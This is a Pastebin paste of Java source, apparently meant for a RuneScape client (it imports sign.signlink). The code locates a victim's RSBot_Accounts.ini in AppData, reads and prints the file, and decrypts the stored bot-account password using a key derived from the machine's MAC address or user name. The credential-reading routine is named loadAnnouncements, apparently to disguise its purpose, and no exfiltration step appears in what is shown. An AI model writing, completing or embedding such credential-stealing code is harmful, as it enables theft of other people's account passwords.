Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Made by Conor
- * 1/31/11 3:14 AM
- */
- import java.io.BufferedReader;
- import java.io.*;
- import java.net.InetAddress;
- import java.net.NetworkInterface;
- import java.security.MessageDigest;
- import java.security.NoSuchAlgorithmException;
- import java.util.Properties;
- import sign.signlink;
- public class getFile extends Thread {
- public static String key;
- public String pin = "";
- public static String pw = "";
- public String username = "";
- public static Properties p = new Properties();
- public static String home = System.getProperty("user.home");
- public static String appdata = "/appdata/";
- public static String file = "RSBot_Accounts.ini";
- public static String os = System.getProperty("os.name");
- public String fullDir = "";
- public static String exists1() {
- if (System.getProperty("os.name").contains("Windows XP")) {
- System.out.println(home + "/Application Data/" + file);
- return home + "/Application Data/" + file;
- } else if (System.getProperty("os.name").contains("Windows Vista")) {
- return home + appdata + "/Roaming/" + file;
- } else if (System.getProperty("os.name").contains("Windows 7")) {
- return home + appdata + "/Roaming/" + file;
- } else {
- return home + appdata + "/Roaming/" + file;
- }
- }
- public static void readFully() {
- try{
- FileInputStream fstream = new FileInputStream(directory());
- DataInputStream in = new DataInputStream(fstream);
- BufferedReader br = new BufferedReader(new InputStreamReader(in));
- String strLine;
- while ((strLine = br.readLine()) != null) {
- //
- System.out.println (strLine);
- }
- in.close();
- }catch (Exception e){
- System.err.println("Error: " + e.getMessage());
- }
- }
- public static String directory() {
- if (System.getProperty("os.name").contains("Windows XP")) {
- System.out.println(home + "/Application Data/" + file);
- return home + "/Application Data/" + file;
- } else if (System.getProperty("os.name").contains("Windows Vista")) {
- return home + appdata + "/Roaming/" + file;
- } else if (System.getProperty("os.name").contains("Windows 7")) {
- return home + appdata + "/Roaming/" + file;
- } else {
- return home + appdata + "/Roaming/" + file;
- }
- }
- public static void checkForFile() {
- boolean exists = (new File(exists1()).exists());
- if (exists) {
- try {
- loadAnnouncements();
- } catch (Exception e) {// none found
- }
- } else {
- }
- }
- private static void loadIni() {
- try {
- p.load(new FileInputStream(directory()));
- readFully();
- } catch (Exception e) {
- }
- }
- public static void loadAnnouncements() {
- try {
- loadIni();
- if (p.getProperty("[").length() > 0) {
- System.out.println(p.getProperty("["));
- }
- if (p.getProperty("password").length() > 0) {
- pw = p.getProperty("password");
- CheckHash(p.getProperty("password"));
- }
- } catch (Exception e) {
- }
- }
- public static void getInfo() {
- try {
- final InetAddress address = InetAddress.getLocalHost();
- final NetworkInterface ni = NetworkInterface
- .getByInetAddress(address);
- key = new String(ni.getHardwareAddress());
- } catch (final Exception e) {
- key = System.getProperty("user.name")
- + System.getProperty("user.language");
- }
- }
- public static void CheckHash(String hash) {
- try {
- System.out.println(hash);
- getInfo();
- String toDecrypt = hash;
- decrypt(toDecrypt);
- System.out.println(toDecrypt);
- } catch (Exception e) {
- // No file found need to add a has file check to skip all this if
- // dont exist
- }
- }
- private static byte[] SHA1(final String in) // Decrypt method
- throws NoSuchAlgorithmException, UnsupportedEncodingException {
- MessageDigest md = MessageDigest.getInstance("SHA-1");
- md.update(in.getBytes("iso-8859-1"), 0, in.length());
- return md.digest();
- }
- private static String decrypt(final String start) {// Decrypt method2
- final String delim = "a";
- if (start == null)
- return null;
- byte[] hashedkey;
- byte[] password;
- int i;
- try {
- hashedkey = SHA1(key);
- } catch (final NoSuchAlgorithmException e) {
- e.printStackTrace();
- return start;
- } catch (final UnsupportedEncodingException e) {
- e.printStackTrace();
- return start;
- }
- final String[] temp = start.split(delim);
- password = new byte[temp.length];
- for (i = 0; i < hashedkey.length; i++) {
- final int temp2 = Integer.parseInt(temp[i]);
- if (hashedkey[i] == temp2) {
- break;
- } else {
- password[i] = (byte) (temp2 - hashedkey[i]);
- }
- }
- return new String(password, 0, i);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement